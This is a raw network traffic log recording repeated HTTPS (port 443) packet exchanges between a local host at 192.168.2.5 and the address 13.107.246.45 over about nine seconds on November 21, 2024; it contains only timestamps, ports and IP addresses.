Nov 21, 2024 03:08:40.570600986 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.570807934 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.570815086 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.616379023 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.616427898 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.616486073 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.616765022 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.616789103 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.616799116 CET	49742	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.616805077 CET	443	49742	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.619684935 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.619748116 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.619831085 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.620014906 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.620048046 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.689136982 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.689201117 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.689253092 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.689366102 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.689384937 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.689398050 CET	49744	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.689403057 CET	443	49744	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.691643953 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.691672087 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.691740036 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.691859961 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.691869974 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.721035957 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.721194029 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.721261978 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.721416950 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.721427917 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.721436977 CET	49745	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.721441984 CET	443	49745	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.723867893 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.723937988 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:40.724034071 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.724164009 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:40.724195004 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.224889040 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.225961924 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.225999117 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.226449013 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.226454973 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.349298000 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.349864006 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.349874020 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.350338936 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.350343943 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.408009052 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.408539057 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.408545971 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.409037113 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.409043074 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.467514038 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.468211889 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.468241930 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.468698978 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.468713045 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.578309059 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.579003096 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.579037905 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.579583883 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.579596996 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.668054104 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.668133974 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.668229103 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.668378115 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.668406963 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.668423891 CET	49746	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.668431044 CET	443	49746	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.671444893 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.671479940 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.671557903 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.671746969 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.671752930 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.792958021 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.793030024 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.793082952 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.793298960 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.793313026 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.793327093 CET	49747	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.793333054 CET	443	49747	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.796482086 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.796545982 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.796650887 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.796807051 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.796819925 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.858791113 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.858861923 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.858937979 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.859146118 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.859158039 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.859169006 CET	49749	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.859174013 CET	443	49749	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.861951113 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.861973047 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.862056971 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.862214088 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.862231016 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.919795036 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.919852972 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.919948101 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.920165062 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.920208931 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.920238972 CET	49748	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.920253992 CET	443	49748	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.923113108 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.923197031 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:42.923295975 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.923446894 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:42.923464060 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:43.030567884 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:43.030731916 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:43.030832052 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:43.030963898 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:43.030993938 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:43.031018972 CET	49750	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:43.031030893 CET	443	49750	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:43.033729076 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:43.033755064 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:43.033845901 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:43.033994913 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:43.034001112 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.453805923 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.454770088 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:44.454797029 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.455666065 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:44.455671072 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.640077114 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.642230034 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.670125961 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:44.670142889 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.670742989 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:44.670749903 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.670953035 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:44.670979977 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.671468019 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:44.671473980 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.706190109 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.706768990 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:44.706806898 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.707408905 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:44.707427979 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.834309101 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.839325905 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:44.839343071 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.839890957 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:44.839899063 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.903381109 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.903451920 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:44.903541088 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.084599018 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.084672928 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.084742069 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.094788074 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.094855070 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.094916105 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.120825052 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.120857954 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.120893955 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.120901108 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.148900986 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.148921013 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.148938894 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.148947001 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.149765015 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.149841070 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.149924994 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.160208941 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.160208941 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.160238981 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.160254002 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.166157961 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.166177988 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.166194916 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.166202068 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.205522060 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.205559969 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.205862045 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.211366892 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.211391926 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.211472988 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.252408028 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.252434015 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.252528906 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.252528906 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.252545118 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.252707958 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.252721071 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.253128052 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.253149986 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.253891945 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.253900051 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.253967047 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.254095078 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.254103899 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.276773930 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.276925087 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.277002096 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.306698084 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.306715965 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.306730032 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.306736946 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.318871021 CET	49760	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.318922997 CET	443	49760	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:45.318988085 CET	49760	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.319478035 CET	49760	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:45.319490910 CET	443	49760	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:46.980691910 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:46.981681108 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:46.981693029 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:46.982928991 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:46.982935905 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.031469107 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.032150030 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.032175064 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.032778025 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.032783031 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.036426067 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.036871910 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.036889076 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.037272930 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.037278891 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.037760973 CET	443	49760	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.038094044 CET	49760	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.038115025 CET	443	49760	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.038371086 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.038450003 CET	49760	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.038455009 CET	443	49760	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.038775921 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.038784981 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.039155960 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.039161921 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.416733980 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.416804075 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.416970015 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.417191029 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.417213917 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.417233944 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.417242050 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.420584917 CET	49761	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.420624971 CET	443	49761	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.420939922 CET	49761	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.420941114 CET	49761	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.420965910 CET	443	49761	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.471519947 CET	443	49760	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.471657038 CET	443	49760	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.471714973 CET	49760	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.471836090 CET	49760	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.471853971 CET	443	49760	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.471863985 CET	49760	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.471869946 CET	443	49760	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.477706909 CET	49762	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.477727890 CET	443	49762	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.477972984 CET	49762	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.478385925 CET	49762	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.478400946 CET	443	49762	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.490664005 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.490734100 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.490829945 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.490839958 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.490911007 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.490963936 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.491167068 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.491184950 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.491195917 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.491202116 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.491331100 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.491355896 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.491427898 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.491435051 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.497180939 CET	49763	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.497212887 CET	443	49763	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.497448921 CET	49763	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.498246908 CET	49763	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.498258114 CET	443	49763	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.498909950 CET	49764	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.498958111 CET	443	49764	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.499042034 CET	49764	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.499141932 CET	49764	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.499161005 CET	443	49764	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.516045094 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.516113043 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.516174078 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.521291971 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.521303892 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.521334887 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.521338940 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.526268005 CET	49765	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.526303053 CET	443	49765	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:47.526357889 CET	49765	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.526557922 CET	49765	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:47.526570082 CET	443	49765	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.197395086 CET	443	49762	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.197926044 CET	49762	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.197966099 CET	443	49762	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.198441029 CET	49762	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.198446989 CET	443	49762	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.208950043 CET	443	49761	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.209352970 CET	49761	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.209387064 CET	443	49761	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.209799051 CET	49761	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.209808111 CET	443	49761	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.212975979 CET	443	49763	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.213280916 CET	49763	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.213291883 CET	443	49763	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.213680983 CET	49763	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.213690042 CET	443	49763	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.240375996 CET	443	49765	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.240739107 CET	49765	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.240767002 CET	443	49765	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.241183043 CET	49765	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.241189003 CET	443	49765	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.341634989 CET	443	49764	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.342186928 CET	49764	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.342219114 CET	443	49764	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.342644930 CET	49764	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.342653036 CET	443	49764	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.632131100 CET	443	49762	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.632311106 CET	443	49762	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.632384062 CET	49762	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.632502079 CET	49762	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.632519007 CET	443	49762	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.632528067 CET	49762	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.632533073 CET	443	49762	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.635828972 CET	49766	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.635875940 CET	443	49766	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.635952950 CET	49766	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.636101007 CET	49766	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.636115074 CET	443	49766	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.648111105 CET	443	49763	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.648181915 CET	443	49763	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.648268938 CET	49763	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.648443937 CET	49763	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.648463011 CET	443	49763	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.648483038 CET	49763	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.648490906 CET	443	49763	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:49.651005983 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:49.651051044 CET	443	49767	13.107.246.45	192.168.2.5
